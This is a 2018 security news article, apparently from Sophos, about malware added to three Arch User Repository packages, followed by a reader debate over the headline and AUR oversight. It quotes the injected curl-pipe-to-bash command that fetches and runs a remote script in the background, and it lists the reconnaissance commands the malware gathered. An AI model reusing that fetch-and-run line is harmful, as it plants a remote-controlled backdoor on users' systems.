Another day, another Linux community with malware woes.
Last time it was Gentoo, a hard-core, source-based Linux distribution that is popular with techies who like to spend hours tweaking their entire operating sytem and rebuilding all their software from scratch to wring a few percentage points of performance out of it.
That sort of thing isn’t for everyone, but it’s harmless fun and it does give you loads of insight into how everything fits together.
That sets it apart from distros such as ElementaryOS and Mint, which rival and even exceed Windows and macOS for ease of installation and use, but don’t leave you with much of a sense of how it all actually works.
This time, the malware poisoning happened to Arch Linux, another distro we’d characterise as hard-core, though very much more widely used than Gentoo.
Three downloadable software packages in the AUR, short for Arch User Respository, were found to have been rebuilt so they contained what you might (perhaps slightly unkindly) refer to as zombie downloader robot overlord malware.
Bots or zombies are malware programs that call home to fetch instructions from the crooks on what to do next.
The hacked packages were: acroread 9.5.5-8
, balz 1.20-3
and minergate 8.1-2
; they’ve all apparently been restored to their pre-infection state.
What happened?
Simply put, the packages had one line added – on Linux, the core functionality of a bot can be trivially condensed into a single line:
curl -s https://[redacted]/~x|bash -&
This single line of code, part of an package creation script written in the Bash language, fetches a text file from a command-and-control (C&C) server and runs it as a script in its own right.
The command curl
is a program that fetches a web page using HTTP or HTTPS. The pipe character (|
) is Unix shorthand for “use the output of the command on the left directly as the input of the command on the right”. And bash -
says to read and use the data that’s coming as input, denoted by the dash (-
) directly as a script program. The pipe character therefore means you don’t need to run one command to fetch a file and then tell the next command to read the same file back in – the data is, literally and figuratively, piped between the two programs via memory. Finally, the ampersand (&
) means to run the whole thing in the background so that it’s as good as invisible.
This means that the attacker can change the behaviour of the malware at any time by altering the commands stored in the file ~x
on the C&C server.
At present, the ~x
command sets up a regular background task- the Linux equivalent of a Windows service – that repeatedly runs a second script called u.sh
that’s downloaded from the web page ~u
on the same C&C server.
The u.sh
file tries to extract some basic data about the infected system, and to upload it to a Pastebin account.
The system data that the u.sh
malware is interested in comes from the following Arch commands:
echo ${MACHINE_ID} -- this computer's unique ID (randomly generated at install time) date '+%s' -- the current date and time uname -a -- details about the Linux version that's loaded id -- details about the user account running the script lscpu -- technical details about the system processor chip pacman -Qeq -- the software you've installed (Qe means "query explicit") pacman -Qdq -- any extra software needed to go with it (Qd means "query dependencies") systemctl list-units -- all the system services
Fortunately, the part of the script that does the data exfiltration contains a programming error, so the upload never happens.
The Arch reaction
Arch is well-respected for the enormous quantity of community documentation it has published in recent years – users of many other distros often find themselves referring to Arch Linux documentation pages to learn what they need to know.
Where Arch has been – how can we say this? – a little less likable, is the extent to which the distro’s culture mirrors the aggressive “alpha techiness” of the King of Linux, Linus Torvalds himself – a man who is on record for numerous intolerant, insulting and frequently purposeless outbursts aimed at those he thinks are in the way.
So we weren’t entirely surprised to see this online response from one of the luminati of the Arch community, dismissing the malware with a petulant “meh”:
This would be a warning for what exactly? That orphaned packages can be adopted by anyone? That we have a big bold disclaimer on the front page of the AUR clearly stating that you should use any content at your own risk?
This thread is attracting way more attention than warranted. I’m surprised that this type of silly package takeover and malware introduction doesn’t happen more often.
To be fair to the Arch team, the hacked packages were found on AUR, which is the Arch User Repository, which isn’t vouched for or vetted by the Arch maintainers – in the same sort of way that none of the off-market Android forums are vouched for by Google.
Nevertheless, the AUR site is logoed up and branded as the Arch User Repository, not merely the User Repository, so a bit less attitude from the Arch team wouldn’t hurt.
What to do?
You might not like Arch’s attitude – and if you don’t, you’re probably using a different distro anyway – but the warning on the community-operated Arch User Repository does, in fact, say it all, even if we’d sneak a hyphen between “user” and “produced”:
DISCLAIMER: AUR packages are user produced content. Any use of the provided files is at your own risk.
If you don’t trust it, don’t install it.
Note. We don’t expect this thing to be a problem in real life, but Sophos products will nevertheless detect the abovementioned scripts as Linux/BckDr-RVR, and block the C&C URLs used to “feed” the attack.
mike@gmail.com
This is a great find, and glad the community uncovered it so it could be fixed. However I agree with the “luminati” that this isn’t that surprising and I’m not surprised that it doesn’t happen more often. Additionally that if you’re installing something onto your system, you should be doing your homework on what packages are being included and what their current state is. Not exactly sure what relevance the “culture” of “alpha techie” (wow what a stupid phrase) has to do with anything. Not everyone can or will be a soft spoken woman like man.
Paul Ducklin
OTOH, not everyone needs to be a foul-mouthed insult-hurler like Linus – he’s smart, and successful; he sets standards for seriously many people in the software scene; he simply doesn’t need to say that people he thinks can’t program should be retroactively aborted or have their brake lines cut so they die in a fiery motor vehicle accident.
I think there is at least some of that attitude – namely that it’s OK to be insulting as long as you’re technically brilliant – in the Arch community…
…and I can’t see how diminishing that attitude could possibly diminish the community.
This was, after all, the *Arch* User Repository. Sure, users need to be careful, but there are IMO better ways of telling your users “it’s your fault if you get pwned by a repository with our logo and brand name on it.” If you’re not surprised that this doesn’t happen more often, maybe that fact is trying to tell you something about how you managed so-called “orphaned packages”.
Brian McCord
There’s plenty of room to be dismissive when users are repeatedly warned against the sort of behavior that allows malware like this to get into their systems in the first place, largely by using unsupported (and often ill-advised) “AUR helpers” and not reading and understanding PKGBUILDs. There’s nothing “elitist” about telling people that if basic maintenance of a particular distro is beyond their ken, they’ve likely chosen the wrong distro and they get to keep the pieces when something breaks. The fact that the AUR itself is unsupported and only passively moderated is repeated in a dozen different places, and the offending packages (and their maintainer) were removed in less than ten minutes of being reported. The user is the weakest link in most distros, Arch probably more so than others; if you want to have a tone argument about tolerance for user incompetence and ignoring documentation and warnings, have at it, but it’ll likely fall on deaf ears.
Paul Ducklin
H. Madam, how like you this play?
G. The lady protests too much, methinks.
Bryan
If you ever build your own distro, obligatory:
DuckLinUX
Paul Ducklin
Noted.
klobas
Disingenuous headline. The distro was never compromised, just a few pre-compiled user packages that aren’t even handled by the official package maintainer.
Paul Ducklin
When you have a big and branded community – and Arch has built just such a thing, for which it deserves enormous credit (I think you will find we made that point in the article)…
…it’s no longer a simple matter to define where “the distro” ends, especially when it’s a rolling distro where perpetual change and a good dollop of experimentation are considered positives, not negatives.
Darren Johnston
It is a simple matter to define where a distro ends. What software do they provide? It ends there. You literally can’t install from the AUR without downloading, building and installing software yourself. Even AUR helpers must first be obtained manually. This is the equivalent of downloading something from Github on Ubuntu. If someone got malware on Debian from cloning a random repo, would you say Debian was compromised? Obviously not, and yet that’s basically as much Debian as the AUR is Arch.
Paul Ducklin
In fact, I almost agree with you (it’s almost as though you didn’t read the last section in the article).
The attitudinal bit I’m surprised at is that this isn’t “a random repo”, it’s an Arch-branded one, however you play it – so to say “I’m surprised this doesn’t happen more often” could surely be turned into “heck, why don’t we do something about all those orphaned packages on our very own servers, which be would easy to detect – we’d make the community look much fresher if we stopped having all this foresaken tat lying around”.
Bit of a tidy-out, why not?
Isn’t falling back on blaming users a very 1990s corporate IT thing? I thought 2018 FLOSSers were more *un*corporate than ever these days, visibly doing all the things that big biz says is “somebody else’s problem”?
TL;DR, last three paras of article.
Darren Johnston
I did, in fact, read the entire article. But you have a sensationalist headline and spend most of the article, and most of your comments, saying, “it’s still basically Arch,” so the fact that you have a few throwaway lines at the end saying, and a paraphrase, “Oh btw the AUR is not really arch,” doesn’t forgive the rest.
You spend a lot of time, indeed, even in your very comment I’m now replying to, defending the fact that it’s arch, so to say you agree with me when I say it isn’t arch and acuse me of not reading the article is as disengenous as the clickbaity headline.
Your title is “Another Linux Distro Poisoned With Malware”, your comment said, “it’s no longer a simple matter to define where the distro ends.” My point was, and remains, both of those things are incorrect. The AUR is not part of the distro because it is easy to define “where a distro ends”. If you can’t install it with the disto’s package manager, it’s not part of the distro. And your last three paragraphs don’t change those simple facts.
As an aside, where did I blame the users? It’s the fault of whoever edited the package. Someone who leaves their door open doesn’t deserve to get robbed. And yet, sound advice is, “Lock your doors.” Likewise, a user who blindly installs from the unofficial sources, be that the archlinux.fr repo or the AUR, is walking a dangerous line and has been warned it’s dangerous. But just because you engage in dangerous activity didn’t mean it’s “your fault.”
tl;dr Title of your article.
Paul Ducklin
I still think the online association, even if only implicit, between the pseudocurated AUR and the core of Arch is strong enough that you should consider getting tougher with orphaned distros and dated tat. Looks do matter /-)
Anonymous
It is literally not arch branded, which is why aur helpers will NEVER be a part of core arch. This might be the worst article I’ve ever seen.
Paul Ducklin
I hear you, but if you use the word “literally” literally, then it *literally is* Arch branded.
(Top left corner: “[Arch logo] archlinux TM”.)
Cody J.
But what does AUR mean?
Arch User Repository
It’s user managed repository, and not part of core arch linux experience.
It’s comparable to android. Play is also repository where users can upload their programs and there is more malware there than in AUR, yet I see no “Android poisoned by malware” headlines.
I know that You have to get people on this site, but You went bit too far with this.
Paul Ducklin
That’s a fair point, but to be fair in return, we regularly report on Android malware, especially if it’s in Google Play, with headlines and content that present it as a general attack on the Android ecosystem as a whole. Generally speaking, we are much harder on Google for malware in the Play Store than we have been on Arch Linux here. That is my opinion, anyway. I think it stands scrutiny.
I can’t seem to get much out of many of the Arch fans out there who are commenting (with some notable exceptions, e.g. Eliot Smith) except dissent at the headline and, as a result, implicit disavowal of any other issues…
…so would “community” instead of “distro” in the headline suit you better, and let us talk more constructively?
I must admit to a bit of disappointment at how much there seems to be of “but X is worse than me, and you didn’t criticise X…
…so therefore I can’t be criticised.”
Maybe that is a fact of life, and I am naive.
I guess speed cops get this all the time when poeple moan that “you stopped me when everyone else was speeding, too, so I can’t be faulted”. Strangely, you never hear of people saying, “I’m not claiming my winning lottery ticket because everyone else bought one, too”.
P. Levine
Wasn’t what happened to Gentoo a brute Force attack on their GitHub credentials, not malware?
Paul Ducklin
It was both. The “bad actors” got in by guessing a password (apparently the developer used a core password for all sites and just tweaked a few characters for each one, thus not really obeying the one account/one password rule), then they stitched up the GitHub respository with malicious “rm -rf” commands in every build script, so anyone updating from the poisoned repository would be SOL:
https://nakedsecurity.sophos.com/2018/07/06/linux-experts-are-crap-at-passwords/
Joelf
The AUR repositories are great but the app installer warns you that they could be compromised. Don’t blame the OS, necessarily. Error is between chair and keyboard.
Michael Gainey
Expecting the Arch developers to be responsible for everything in the Arch User Repository is like expecting every website that hosts user-generated content to police that content. If a website generates revenue, that might be feasible. Does Arch Linux generate any revenue? If not, why should it owe anything to anyone?
On the other hand, if I were the Arch devs, I would think about ways to organize the Arch user community to proof-read the AUR. Actually, there is a comment section for each package in the AUR. Presumably, if someone has a bad experience with a package, they would post about it and the next person who wants that package will read the post before it’s too late.
Paul Ducklin
Ratings could work quite well in a repository with no commercial angle. (Unlike the polarised and mostly useless reviews in markets like Google Play, where haters gonna hate and shills are going to shill, for all the wrong reasons.)
Darren Johnston
The AUR has ratings.
Paul Ducklin
I think the OP was suggesting they could be made to work better with more engagement from the community and therefore that should be encouraged. I was agreeing. (Ratings don’t inevitably work well – on Google Play it still baffles me why they bother.)
Anonymous
Since the most accesed way of using the AUR is a helper(I think so? I would be shocked if not), a helper dev should implement something like showing the rating and the latest comment, although not foolproof it can save a lot of hassle (provided that you’re not the first one suffering :P)
Epic_Null
This may also be a good time to implement identity checking through accounts and/or PGP signing (to make sure the most recent update to a given package was made by the maintainers of the package)
GrenzEcho.net
Which is already the case. PGP is used extensively for core and extra packages. The AUR doesn’t have that, because it would be impossible to establish a trust network with such a vast amound of users.
andrebrait
I see you repeting this “but oh, it’s Arch Branded”.
Yes, and it’s also explicitly unsupported, the very name of it says, explicitly, that it’s user-maintained and every single doc on AUR you can find will say, in pretty explicit and well highlighted fashion, that these packages are not to be trusted blindly. The fact it has Arch in its name has as much to do with it as PPAs hosted in Canonical’s Launchpad has to do with Ubuntu.
Specially if, like everyone else pointed out, you *have* to go through those docs to get AUR-based stuff in any way supported by Arch.
I’m not saying you’re wrong throughout the article, but the headlines would suggest that the official repos were compromised, and not some user-maintained, explicitly untrusted and dangerous secondary package repository.
Paul Ducklin
“Explicitly untrusted and dangerous”… then I would take my name logo off it, TBH, on the grounds that you can’t have your cake and eat it.
Would you be happy if the headline said “Another Linux Community…”?
jimmyjx51
What a piece of absolutely shameless clickbait. Not to mention what does Linus have to do with it at all? You should be ashamed of yourself for publishing such a piece of garbage. Seeing such nonsense exactly makes me not want to try out your product or have any trust in you in the slightest. Well guess most Arch users won’t pay any attention to so-called anti-virus software anyways eh? That’s why you can try to bash it without the least bit of restraint.
Paul Ducklin
I strongly suspect your decision “not to try out our product” (or perhaps I ought to say our so-called product) was formed long before this article was written…
…and thus that seeing this article had no influence on that decision at all.
OTOH, maybe “so-called anti-virus software” is just the thing for so-called malware?
Eliot Smith
“A bit less attitude wouldn’t hurt” does not mean that it would help either. Arch has put their brand on the AUR presumably because it is accessible from their website and is within their domain. They are saying that users can play around in this area and share things that the distro does not support. They are warning the users that bad stuff may happen when you do. Wishing that some maintainer would have less “attitude” when dealing with those who complain and make overly broad claims like, “…malware poisoning happened to Arch Linux, another distro we’d characterise as hard-core…” is akin to wishing for more oversight in a public open space. I, for one, like open spaces that are not too regulated. And open spaces thrive when everyone can be allowed to have some “attitude”.
Paul Ducklin
If it wouldn’t help but would hurt less – it would be a net win, wouldn’t it :-)
I appreciate your comment – open spaces are good news – but the Arch community is the custodian of AUR (they removed the malware and kicked out the new contributor, so it isn’t exactly hands-off or unsupervised) and my point is that shrugging off the abuse of orphaned projects as inevitable is, well, it would have been much more upbeat to have read “we still say it’s your own fault if you cut yourself while playing with scissors, but we’re going to stop old scissors that have been carefully hidden from lying around undetected”.
As an aside, I think you have done a good job with your own attitude here, because you didn’t just say “you’re an idiot” or “this is the worst article in the known universe” (that sort of comment gets old pretty quickly), and if everyone who was “allowed to have some attitude” had it a bit more like this, I think we’d all be better off…
…so, thanks!
Charles
It is absurd to say Arch was compromised over user managed content. If I uploaded sketchy code on Github would you write an equally bogus article about Github being compromised?
Paul Ducklin
If Github were itself a community focused on building and delivering Gitlinux…
…probably.
Anonymous
It’s amazing that every comment essentially says that the title is click bait and disingenuous as it makes claims that are categorically false yet the author deflects and stretches the definition of distro to fit his narrative. I guess that’s not surprising as someone who was more interested in getting the facts out would not be spewing such nonsense in the first place.
If iTunes was released with a bug, that wouldn’t make all of Apple compromised or “poisoned” with the bug. It wouldn’t affect the integrity of MacOS, iOS, etc. If a website gets hacked, you wouldn’t claim the entire Internet was hacked. If someone uploads bad code to a GitHub repo, the entirety of GitHub is not compromised. Your claim that the “distro” was compromised is you conveniently stretching the definition of a “distro” to fit your narrative.
Paul Ducklin
I asked this already, and I’ll ask it again. Would the vocal Arch fans here prefer the word “community” in the headline rather than the word “distro”?
As for “if iTunes were released with a bug” (it would be a better comparison to say “if iTunes were released with malware”) then I would most definitely consider this as something along the lines of “entire Apple ecosystem blighted”, given that iTunes is there by default on all macOS and iOS devices (and, for that matter, loads of Windows ones).
So here’s the thing. You guys have this “user playground” that isn’t regulated, but is clearly branded as part of your community. Malware gets in there, and the community jumps in to remove it. Probably no one got pwned. If they did, the info is there to find the malware and delete it. Victory! Then the community says, “Hey, it’s amazing that this only happens occasionally. Projects in our user playground really ought to get hacked all the time, especially given that there’s a shedload of tired, old, unsupervised tat out there, right in our user playground, where we could be a bit more proactive about it if we really wanted. But, hey, we don’t. It’s the user’s fault, and if they complain we’ll do something then.”
Given the way this discussion has gone, my inclination is to leave the word “distro” in the headline. It will give you something to focus on that will invalidate everything else in the article, saving us from any other discussion.
Seriously: *prune the deadwood from AUR, folks*.
By all means be phlegmatic and shruggy about curlbashifications of this sort, but maybe don’t jump straight on the “it’s your own fault if you are too stupid to read the rules” bandwagon when it happens. Even bad students can succeed with good teachers…
Paul Ducklin
I changed the headline.
Maybe now we can move on to whether we ought to expect orphaned packages to be curlbashed and live with it or whether there’s a way to raise the bar…
GalaxyCurse
Since Sophos Antivirus recommended in the article, I clicked the link and checked the System Requirements. Arch Linux is not in the list of supported distributions.
Paul Ducklin
IIRC, the “supported list” denotes those Linux flavours for which we provide precompiled kernel driver binaries and where we have tested on that platform ourselves.
(If you just use our command line scanner or call our threat engine from your own code via our API then it’s all userland only.)
AFAIK, you may use the product on any Linux flavour, but we may not be able or willing to support you if you are not on the official list.
If you have a problem that does show up on a supported version then when we fix it on the supported version there’s a good chance the fix will apply on your unsupported system, too.
My 2c, but YMMV, and I am not speaking officially here :-)
Anonymous
Well I suppose it had to happen at some point. To be fair, Arch tends to self destruct every once in a while without any user intervention anyway, and let’s face it, you need to know what you’re doing to install it in the first place (except Manjaro / Antergos etc.) That level of capability should come with the obligatory healthy dose of scepticism from anything in the AUR. At least it’s open source and you can check the code in advance! Like anyone does that… The power of rolling release – sitting on the edge. Love it. It’s a price worth paying for the latest software. I can’t wait for the first Snapcraft closed source virus running as –dangerous (like you have to do to get most of them working). That will be interesting.
F. B.
“This single line of code, part of an installation script written in the Bash language, fetches a text file from a command-and-control (C&C) server and runs it as a script in its own right.”
The PKGBUILD is not an installation script, but a script used to BUILD a package. Once the package is built, you can install it on your system.
[URL removed]
Paul Ducklin
I’ll change the article but I am still happy with my original choice of words – in the same way I still talk about “taping” TV shows and “dialling” my phone, even though I last used a tape or a dial last century. My point was that as a usual part of installing, you will run various scripts, and in this case, one stage of the process was Trojanised.
I’ll just replace “installation” with “package creation” or words to that effect.
Ubuntu poisoned with malware
It’s a tad funny that earlier that year (2018) a package in Ubuntu’s Snap Store installed some kind of crypto miner.